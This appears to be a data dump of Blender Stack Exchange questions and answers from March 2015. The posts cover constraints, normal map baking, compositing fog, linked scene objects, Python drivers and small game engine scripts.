  <row Id="27035" PostTypeId="2" ParentId="27022" CreationDate="2015-03-11T23:58:27.930" Score="1" Body="&lt;p&gt;using only the python script (delete the properties and the edit object actuator ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;import random&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main():&#xA;&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;    sense = cont.sensors[&quot;mySensor&quot;]&#xA;    scene = bge.logic.getCurrentScene()&#xA;&#xA;    if sense.positive :&#xA;        own.worldPosition=[random.uniform(-10.0,10.0),random.uniform(-10.0,10.0),0]&#xA;        scene.addObject(&quot;Cube&quot;, &quot;Empty&quot;, 0)&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-11T23:58:27.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27037" PostTypeId="1" AcceptedAnswerId="27038" CreationDate="2015-03-12T01:57:58.207" Score="7" ViewCount="1175" Body="&lt;p&gt;The tooltip for the &quot;Track to&quot; constraint says: &quot;Legacy tracking constraint prone to twisting artifacts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it &quot;legacy&quot;? Has it been replaced with something else?&lt;/p&gt;&#xA;" OwnerUserId="11518" LastActivityDate="2015-03-12T03:24:03.470" Title="Why is the Track to constraint &quot;legacy&quot;?" Tags="&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27038" PostTypeId="2" ParentId="27037" CreationDate="2015-03-12T03:15:55.557" Score="8" Body="&lt;p&gt;After some further research, I found that &lt;a href=&quot;https://developer.blender.org/p/aligorith/&quot;&gt;Joshua Leung&lt;/a&gt; added this text to source/blender/makesrna/intern/rna_constraint.c when he &lt;a href=&quot;https://developer.blender.org/rBACae3cf92491be73f353b278f1632a68990d0e44d9&quot;&gt;committed&lt;/a&gt; the new Damped track constraint, indicating that Track to has been superseded by Locked track and Damped track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I don't think anyone's about to deprecate Track to.&lt;/p&gt;&#xA;" OwnerUserId="11518" LastEditorUserId="11518" LastEditDate="2015-03-12T03:24:03.470" LastActivityDate="2015-03-12T03:24:03.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27042" PostTypeId="1" CreationDate="2015-03-12T08:33:54.950" Score="1" ViewCount="1751" Body="&lt;p&gt;There is a bug posted at the following page which shows that baking using raytracing (Selected to Active) is showing artifacts in some situations that ruin the bake.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T43696&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/T43696&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By looking at the bolts, it can be seen that they are being sheared vertically along the middle.  It seems that elongated polygons are not being handled well on the code side of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSYrV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until this issue can be fixed with a proper code solution, a quick walk-through using an artist's workflow would be useful until things are repaired.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2019-05-25T18:46:54.723" LastActivityDate="2019-05-25T18:46:54.723" Title="How can I bake textures on uneven goemetry without tearing and stretching" Tags="&lt;texture-baking&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="27043" PostTypeId="2" ParentId="27042" CreationDate="2015-03-12T10:09:59.260" Score="3" Body="&lt;p&gt;This issue can be solved by adding evenly spaced loops along the long axis of the model and then later deleting them after the normal map is baked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem here is that altering a models geometry after the Tangent map is baked can invalidate a Tangent Space map.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a way around this:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) We can bake to an Object Space map first&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) Now the extra loops can be removed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) Finally, a second bake pass that uses the Object Space map as Input for the Material normals can then be used to transfer the Object Space map info to a Tangent Space map and the resulting map will be valid for the low poly model that has had its control loops removed &lt;em&gt;after&lt;/em&gt; the bake has taken place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can safely treat this second bake pass as a color transfer more than anything else.  Blender internal makes this quick and straight-forward. With practice, it shouldn't take more than 30 seconds even if you are being patient and going slow. Back to this in a minute.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, add the control loops to one of the boards and then by using linked-duplicates, move and rotate the other boards into place; now most of the setup can be done on only one of the components and the changes will be reflected on all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the loops are added in by using Ctrl+r and then pressing the NumPad(+) key about 30 times to increase the number of segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9biMO.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the pieces can be joined into one Object so the UV's can be layed out(mostly)properly as shown next.  Try to use all the available space so that the texture resolution is not wasted.  Also, try to leave a fair amount of space between the UV Islands and the borders so the textures do not bleed across the seams.  Mipmapping can exaggerate this issue so it's best to not skip this last detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WcVW0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now bake to an Object space map and the results should be error free so long as the 'Selected To Active' settings are correct with regards to Bias/Distance/Cage controls that are available when Using Selected To Active for baking from a High-Poly Model to a Low-Poly model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AOXiY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are two good reasons to start with Object Space maps in a situation like this.  First, the models' geometry can be further reduced after the bake has taken place without invalidating the Normal Map because Object Space Maps are not susceptible to that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, Object Space maps can be blurred without issue in a 2D Editor such as GIMP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blurring Tangent Space maps will almost certainly cause you problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following animation shows how to quickly remove all the extra control loops prior to converting the Object Space map to Tangent Space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start with, Select the end faces and then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;i&lt;/kbd&gt; to invert the Selection.  Now Use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Numpad(-)&lt;/kbd&gt; to contract the Selection.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to Edge Selection Mode and hold down the Shift and Alt keys and start mouse-clicking the long edges one at a time.  The combination of keys and clicks will remove the long edges from being selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When only the extra loops are still selected, use &lt;kbd&gt;x&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; to delete all the loops. Now there should only be the basic framework of the pieces just as before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F7tkN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next add a Blender Render(Blender Internal) Material and a texture to the material which should be set as an Object Space normal map using the settings shown in the following image.  The bake settings are also shown at the top right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/meGgx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you press bake, you should end up with a Tangent map that does not require the use of Selected to Active and its encoding should match up with the Low-Poly model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for the Materials texture, replace the Object Space map with the Tangent space map and set the Image Sampling to 'Tangent' instead of 'Object' and you should have the following results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the Tangent map being used to light the model with GLSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u9pT6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next the same normal map is being used in Cycles.  A Glossy shader is being used to exaggerate the normal map's detail in order to look for errors.  Glossy is basically a worse-case scenario for normal maps.  If looks good for shiny, it should always look good.(maybe not if it's really small and far away; then shiny will cause twinkles when the normal map detail is smaller that the computer screens pixels. :) &amp;lt;-You can fix that by blurring the map by a few pixels in GIMP, Krita, Photoshop, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Pa2a.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-03-25T23:20:12.963" LastActivityDate="2015-03-25T23:20:12.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27044" PostTypeId="1" CreationDate="2015-03-12T11:07:54.223" Score="3" ViewCount="4116" Body="&lt;p&gt;I'm following Andrew Price's spaceship tutorial and taking advantage of the inbuilt addon called &lt;em&gt;Import Images as Planes&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTjMr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you can see 2 Images as Planes used for the steam columns, close to the door.&lt;br&gt;&#xA;If you ask &lt;strong&gt;why?&lt;/strong&gt;, it's because I already have enough polygons, for my laptop to render...&lt;br&gt;&#xA;And I thought that a &lt;code&gt;smoke simulation&lt;/code&gt; would simply be an &lt;strong&gt;overkill&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Issue&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to try compositing, even if I'm still not ready with the definitive &#xA;geometries and textures.&lt;br&gt;&#xA;And... All is fine except for &lt;strong&gt;mist&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see I can use some &lt;code&gt;Blur&lt;/code&gt; and &lt;code&gt;Glare&lt;/code&gt; withuot big issues (apart the orange LED &#xA;wall panels which became white - so I thought to assign them a different &lt;code&gt;Material &#xA;Pass&lt;/code&gt; and a separate &lt;code&gt;ID Mask&lt;/code&gt; - now they are pinkish, but not so bad at all).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LttxB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But! If I enable the &lt;code&gt;Map Value&lt;/code&gt; node, which creates the mist... what happens it &#xA;that the steam columns contours are MANGLED (well, not only the contours)!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4byWm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4byWm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, is there a way to &lt;strong&gt;fix&lt;/strong&gt; this issue (is it a bug or am I doing something wrong?) or do I have to give up and sacrifice that wornderful &lt;strong&gt;oniric&lt;/strong&gt; mist?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[EDIT]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To whom can be interested in: the original blend is &lt;a href=&quot;https://s3.amazonaws.com/ezs3ac34a26aa3f5ce6650303da779cb7c9b/BlenderGuru_SpaceshipCorridor_Part1.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; (much better han mine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the Steam column I used for both &lt;code&gt;Images as Planes&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YdZip.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't see it because it's &lt;strong&gt;white&lt;/strong&gt; on a transparent background, resulting in white on white.&lt;/p&gt;&#xA;" OwnerUserId="7873" LastEditorUserId="7873" LastEditDate="2015-03-12T14:17:58.513" LastActivityDate="2015-03-12T17:39:35.167" Title="Compositing fog destroys PNG alpha in Images as Planes when using Cycles" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;image&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="12" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27045" PostTypeId="2" ParentId="27015" CreationDate="2015-03-12T12:36:12.830" Score="3" Body="&lt;p&gt;On the right to the preview window, you have set a proxy size to 50%. But if you don't build a proxy file, the preview can't show you a video.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either set the &lt;strong&gt;Preview render&lt;/strong&gt; to &lt;strong&gt;No proxy, full render&lt;/strong&gt;, or with you video strip selected, scroll down the strip properties until you reach &lt;strong&gt;Proxy/Timecode&lt;/strong&gt; and make your desired settings. Finally, to build the proxy files, have your strip selected and go to &lt;strong&gt;Strip&lt;/strong&gt; -&gt; &lt;strong&gt;Rebuild Proxy and Timecode indices&lt;/strong&gt; and you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="11435" LastActivityDate="2015-03-12T12:36:12.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27046" PostTypeId="1" AcceptedAnswerId="27048" CreationDate="2015-03-12T12:36:55.347" Score="8" ViewCount="2059" Body="&lt;p&gt;I want to reuse the object of one scene in another. So far, I found two possibilities, both with side effects I do not want:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy and paste from one scene to another. However, if I'll edit / correct the mesh in the first scene, I do not see the changes in the second scene.&lt;/li&gt;&#xA;&lt;li&gt;Linking from one scene to another. This reflects the mesh changes, but also rotational changes. If I rotate the object in the second scene to lay it on the floor for presentational purposes, it also rotates in the first scene, where I actually want it to just stand around for modelling it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there some kind of soft link which reflect mesh changes, but not rotational / position / scale ones?&lt;/p&gt;&#xA;" OwnerUserId="13128" LastActivityDate="2015-03-12T14:08:47.070" Title="Kind of &quot;soft link&quot; of objects between scenes?" Tags="&lt;linked-data&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27048" PostTypeId="2" ParentId="27046" CreationDate="2015-03-12T13:06:29.847" Score="9" Body="&lt;p&gt;You can use the 2nd method, linking your object to the other scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link the object to the other scene as normal. Selecting that object (the one you want to be able to rotate but still be linked) navigate to it's 'Object' tab in the 'Properties' window and make it's object datablock a single user by clicking the '2':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7Jr7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can press &lt;kbd&gt;U&lt;/kbd&gt;&gt; Object to achieve the same effect, which will make any of the selected objects a single user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the '2' makes a copy of the transformational data for the object but leaves the mesh data, the vertices and faces etc as linked, as shown in the 'data' tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/URK11.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The '2' shows that the data is now being used by 2 distinct objects, with different transformations, whereas before it was acting as a single object, sharing both transformations and data.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-03-12T14:08:47.070" LastActivityDate="2015-03-12T14:08:47.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27049" PostTypeId="2" ParentId="27044" CreationDate="2015-03-12T14:26:42.003" Score="4" Body="&lt;p&gt;The problem is Z Channel in Cycles - it does not take into account material transparency:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eJ3qj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend not using the Z channel pass but to render nice custom Z pass like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign this material to scene objects (this material has value based of ray length - distance to camera):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41jBl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UkFyE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will get nice anti-aliased Z-depth render that you can use for the mist.  For alpha-transparent planes mix in Transparent shader like in the image and &lt;strong&gt;render them on separate render layer&lt;/strong&gt; so there's nothing behind them (then composite them back in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Node_Groups&quot; rel=&quot;nofollow noreferrer&quot;&gt;group node&lt;/a&gt; group them with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;G&lt;/kbd&gt;. Go inside and outside group node with &lt;kbd&gt;Tab&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2015-03-12T17:39:35.167" LastActivityDate="2015-03-12T17:39:35.167" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="27050" PostTypeId="2" ParentId="27012" CreationDate="2015-03-12T14:51:36.770" Score="1" Body="&lt;p&gt;I have added another variable  to save the state and toggle it every time, 'Done' indicates whether you have subtracted or not during this pulse :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main():&#xA;    cont = bge.logic.getCurrentController()&#xA;    own = cont.owner&#xA;    Ray = cont.sensors[&quot;Ray&quot;]&#xA;    Bool = own[&quot;Bool&quot;]&#xA;    Done = own[&quot;Done&quot;]&#xA;&#xA;    if Ray.positive and Bool and not Done:&#xA;&#xA;        own[&quot;Done&quot;] = True&#xA;        print(&quot;have nothing to do&quot;) &#xA;    elif not Bool :&#xA;        own[&quot;Done&quot;] = False&#xA;&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-12T14:51:36.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27051" PostTypeId="1" AcceptedAnswerId="27106" CreationDate="2015-03-12T15:16:28.903" Score="0" ViewCount="346" Body="&lt;p&gt;I have a object wich I have added mirror twice.. but when I render and bake the texture, it isn't the same on both sides.. why is that?&lt;img src=&quot;https://i.stack.imgur.com/wdvci.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2015-03-14T07:19:59.590" Title="Mirror object - Rendering is not equal on both sides.. why?" Tags="&lt;rendering&gt;&lt;texture-baking&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2015-03-14T07:27:22.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="27053" PostTypeId="1" CreationDate="2015-03-12T18:48:18.203" Score="3" ViewCount="1586" Body="&lt;p&gt;I've heard of PyDrivers where you can put python code into a driver, &amp;amp; I'm wondering, how would you do that in blender 2.7x without resorting to a lower blender version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'd like to put in the driver:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(ob(‘Armature’).getPose().bones[‘Bone.001’].head - ob(‘Armature’).getPose().bones[‘Bone’].head).length/250&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13111" LastEditorUserId="599" LastEditDate="2016-03-25T18:38:57.703" LastActivityDate="2019-02-10T06:40:43.290" Title="How to create a PyDriver in blender 2.7" Tags="&lt;python&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27055" PostTypeId="1" CreationDate="2015-03-12T20:40:16.140" Score="0" ViewCount="122" Body="&lt;p&gt;I’m making kitchen cabinets for a project of mine and here’s a problem I ran into: The cabinets should have spaces in between them and at the same time the measurements are supposed to be preserved from left to right. How can I do that?&#xA;Without spaces&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SVdwi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With spaces (a little bit exaggerated so I can make my point. This is an eyeballed example just to show what I mean)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9usv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words - There are 4 squares where the first and last edge are overlapping with the green line:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0TJS2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to resize the squares equaly with equal spaces btween them, but the overlapping to be preserved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5hbMw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this can be solved by having a little knowledge of algebra and just tipe the number for the array, but I think there should be an easy way to achieve this in blender without having to bother with algebra too much. Using empties in combination with array and snapping is my guess. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-03-15T18:07:15.320" LastActivityDate="2015-03-15T18:07:15.320" Title="How to preserve measurements when manipulating an object" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;measurement&gt;" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="27056" PostTypeId="2" ParentId="27053" CreationDate="2015-03-12T22:16:05.870" Score="7" Body="&lt;p&gt;your example can be implemented as in the following driver :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NaDmr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but for more complex drivers refer to &lt;a href=&quot;https://docs.blender.org/manual/en/latest/animation/drivers/workflow_examples.html#driver-namespace&quot; rel=&quot;nofollow noreferrer&quot;&gt;this DOC page&lt;/a&gt; , the important part is that you can define your function and add it to driver namespace as in this example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def driverFunc(val):&#xA;&#xA;    return val * val    # return val squared&#xA;&#xA;bpy.app.driver_namespace['driverFunc'] = driverFunc    # add function to driver_namespace&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can use it the driver scripted expression   &lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="599" LastEditDate="2019-02-10T06:40:43.290" LastActivityDate="2019-02-10T06:40:43.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="27057" PostTypeId="2" ParentId="27055" CreationDate="2015-03-12T22:38:17.030" Score="2" Body="&lt;p&gt;after applying the array modifier seperate the object :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;in edit mode hit  &lt;kbd&gt;P&lt;/kbd&gt; and select seperate &lt;strong&gt;by loose parts&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;set the origin to geometry for all objects&lt;/li&gt;&#xA;&lt;li&gt;for the side objects set the origin to the side faces&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kUzpu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;scale all to induvidual origins&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/II64B.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-12T22:38:17.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27058" PostTypeId="1" CreationDate="2015-03-12T23:20:14.883" Score="0" ViewCount="79" Body="&lt;p&gt;I'm a complete beginner and I'm having some problems with my textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the image below, you can see that the texture appears to be transparent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/42yvn.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/42yvn.jpg&quot; alt=&quot;model with bad textures&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do to make it look like the texture in the original image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.file-upload.net/download-10412411/Hase.blend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="2217" LastEditDate="2015-03-13T00:20:20.520" LastActivityDate="2015-03-13T00:20:20.520" Title="Problem with Texture Opacity" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="27059" PostTypeId="2" ParentId="27058" CreationDate="2015-03-12T23:37:07.723" Score="1" Body="&lt;p&gt;If it really is a transparency problem, which I'm not sure that it is, then all you have to do is uc-check the box that says &lt;em&gt;Transparency&lt;/em&gt; under the materials tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However! the &lt;em&gt;real&lt;/em&gt; problem lies within your Fresnel shading, where you have the ramp pushed aaaalll the way over to the right. you want some breathing space between the two pushey-guys or the reflective effects are super dramatic. You might also want to change Fresnel to lambert. Fresnel has effects go further without dissipation so I think that's your problem.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-03-12T23:47:42.397" LastActivityDate="2015-03-12T23:47:42.397" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27060" PostTypeId="2" ParentId="27058" CreationDate="2015-03-12T23:45:42.623" Score="0" Body="&lt;p&gt;just set the deffuse to the default values :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fRWqK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is what seems the problem uncheck this option&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dIudS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-13T00:04:27.097" LastActivityDate="2015-03-13T00:04:27.097" CommentCount="24" ContentLicense="CC BY-SA 3.0" />
  <row Id="27062" PostTypeId="1" CreationDate="2015-03-13T01:18:29.690" Score="0" ViewCount="855" Body="&lt;p&gt;In &quot;filigree&quot;? handwork I managed to make the textures of my eyes look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FqAFn.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I render it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NXc6y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="13068" LastEditorUserId="241" LastEditDate="2015-03-13T16:06:01.320" LastActivityDate="2015-03-13T16:06:01.320" Title="Why does the Render View in &quot;3D View&quot; look totally Different than the Rendered image?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27064" PostTypeId="2" ParentId="26618" CreationDate="2015-03-13T02:56:15.740" Score="3" Body="&lt;p&gt;I have finished the script. The script can be found on GitHub here: &lt;a href=&quot;https://github.com/MrSprite/VSEC&quot; rel=&quot;nofollow&quot;&gt;https://github.com/MrSprite/VSEC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not added sorting by file size or date yet, but all other features should be there!&#xA;Let me know if it works!&lt;/p&gt;&#xA;" OwnerUserId="5505" LastActivityDate="2015-03-13T02:56:15.740" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
